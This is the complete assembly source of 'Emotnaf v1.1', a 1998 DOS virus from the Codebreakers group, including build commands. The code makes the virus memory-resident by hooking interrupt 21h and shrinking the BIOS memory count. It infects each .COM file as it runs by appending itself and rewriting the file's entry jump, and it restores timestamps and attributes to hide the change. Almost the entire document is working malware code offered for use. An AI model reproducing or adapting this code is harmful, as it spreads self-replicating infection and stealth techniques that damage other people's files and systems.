; ------------------------------------------------------------------------- ; ; Emotnaf v1.1 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: `-------------------| Started: 23/06/98 | Finished: 00/00/00 ; ; `-------------------^------------------- ; ; v1.0 - Memory resident .com appender, infects upon execution | Size: 000 ; ; v1.1 - Experiment with new ways to write this code... `---------- ; ; v1.2 - restore time/date stamps and file attributes now ; ; v1.3 - makes sure it isnt a .exe renamed as a .com ; ; ------------------------------------------------------------------------- ; ; -> Dedicated to wicked music everywhere, like Rage Against The Machine <- ; ; ------------------------------------------------------------------------- ; ; to compile ::] tasm emotnaf.asm ; ; to link :::::] tlink /t emotnaf.obj ; ; ------------------------------------------------------------------------- ; code segment ; name our segment 'code' assume cs:code,ds:code ; assign CS and DS to code org 100h ; this be a .com file .286 ; needed for pusha/popa jumps ; save space wasted jumping ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; blank: db 0e9h,0,0 ; jump to start of code start: call delta ; push IP on to stack delta: pop bp ; pop it into bp sub bp,offset delta ; get the delta offset ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; mov ax,0deadh ; check if already resident int 21h ; if we are, bx = 0deadh now cmp bx,0deadh ; does bx hold 0deadh ? je first3 ; we are already resident! sub word ptr cs:[2],80h ; lower top of PSP mem data mov ax,cs ; move CS into AX dec ax ; decrement AX mov ds,ax ; move AX into DS sub word ptr ds:[3],80h ; sub 2kb from accessed MCB xor ax,ax ; xor the value in ax to 0 mov ds,ax ; move that value into DS sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb mov ax,word ptr ds:[413h] ; move adjusted BIOS data mov cl,6 ; load cl with value of 6 shl ax,cl ; multiply BIOS mem by 64 mov es,ax ; move value into ES push cs ; push value of code segment pop ds ; into data segment register xor di,di ; xor value in DI to 0 lea si,[bp+start] ; load the source index mov cx,finished-start ; # of bytes to load up rep movsb ; load virus into memory xor ax,ax ; value in ax to 0 mov ds,ax ; move value into DS lea ax,new21 ; point IVT to new ISR sub ax,offset start ; subtract start offset mov bx,es ; move es into bx cli ; interrupts off xchg ax,word ptr ds:[84h] ; switch old/new int 21h xchg bx,word ptr ds:[86h] ; switch old/new int 21h mov word ptr es:[oi21-offset start],ax ; save the old int 21h mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h sti ; interrupts on push cs cs ; push code segment twice pop ds es ; into DS and ES registers first3: lea si,[bp+saved] ; load up the source index mov di,100h ; load the destination index push di ; push 100h on to the stack movsw ; move two bytes now movsb ; move one byte now retn ; return control to host ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; new21: pushf ; push all flags pusha ; push all registers push ds ; push data segment register push es ; push extra segment register push bp ; save the delta offset cmp ax,0deadh ; are we testing if resident? je rezchk ; yes, show them we are rez cmp ah,4bh ; something being executed? je infect ; yes, infect the file exit: pop bp ; restore the delta offset pop es ; pop ES from the stack pop ds ; pop DS from the stack popa ; pop all registers popf ; pop all flags db 0eah ; jump to original ISR oi21 dd ? ; old int 21 goes here ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; rezchk: mov bx,0deadh ; move check value into bx jmp exit ; and go to original int 21h ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; infect: call tsrdel ; push IP on to stack again tsrdel: pop bp ; pop it into bp sub bp,offset tsrdel ; get the 2nd delta offset push ds ; push DS on to stack pop es ; pop it into es mov di,dx ; move file handle into di mov cx,64 ; 64 byte filename possible mov al,'.' ; load al with the . cld ; clear direction flag repnz scasb ; scan until . is hit cmp word ptr ds:[di],'OC' ; is the file .CO- ? jne abort ; not it isn't, abort cmp byte ptr ds:[di+2],'M' ; is the file .--M ? jne abort ; no it isn't, abort mov ax,4300h ; get file attributes int 21h ; attributes in cx now push cx ; save the attributes push dx ; save the file handle mov ax,4301h ; set file attributes xor cx,cx ; to none at all int 21h ; ready to open up now mov ax,3d02h ; open the file read/write int 21h ; open the file now xchg bx,ax ; move the file handle push cs cs ; push CS on to stack twice pop ds es ; pop it into DS and ES mov ax,5700h ; get time / date stamps int 21h ; time in cx, date in dx push cx ; save the time push dx ; save the date mov ah,3fh ; the read function lea dx,[bp+saved] ; read the bytes to here mov cx,3 ; read first three bytes int 21h ; first three recorded cmp word ptr [bp+saved],'ZM' ; check if renamed .exe je close ; shit, this be a .exe! cmp word ptr [bp+saved],'MZ' ; check if renamed .exe je close ; shit, this be a .exe! mov ax,4202h ; scan to end of file xor cx,cx ; xor value of cx to 0 cwd ; likewize for dx int 21h ; DX:AX = file size now! cmp dx,0 ; is the file < 65,535 bytes? jne close ; way to big, close it up mov cx,word ptr [bp+saved+1] ; move saved+1 into cx add cx,finished-start+3 ; virus size + jump cmp ax,cx ; compare the two jz close ; if equal, close it up sub ax,3 ; get jump to virus body size mov word ptr [bp+newjump+1],ax ; write as our new jump mov ax,4200h ; point to start of file xor cx,cx ; xor value of cx to 0 cwd ; likewize for dx int 21h ; pointing to SOF mov ah,40h ; write to file lea dx,[bp+newjump] ; write the jump mov cx,3 ; write three bytes int 21h ; jump is written mov ax,4202h ; point to end of file xor cx,cx ; xor value of cx to 0 cwd ; likewize for dx int 21h ; pointing to EOF mov ah,40h ; write to file lea dx,[bp+start] ; from the start of virus mov cx,finished-start ; # of bytes to write int 21h ; write them now close: mov ax,5701h ; set time / date stamps pop dx ; restore the date pop cx ; restore the time int 21h ; time / date restored mov ah,3eh ; close up the file int 21h ; file is closed mov ax,4301h ; set file attributes pop dx ; restore the file handle pop cx ; restore the attributes int 21h ; attributes restored abort: jmp exit ; point to original ISR ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; saved db 0cdh,20h,0 ; our saved bytes newjump db 0e9h,0,0 ; the soon to be jump finished: ; end of the virus code ends ; end code segment end blank ; end / where to start ; ------------------------------------------------------------------------- ; ; --> Angels Are Just Assassins Of God, One Wing Always Dipped In Blood <-- ; ; ------------------------------------------------------------------------- ;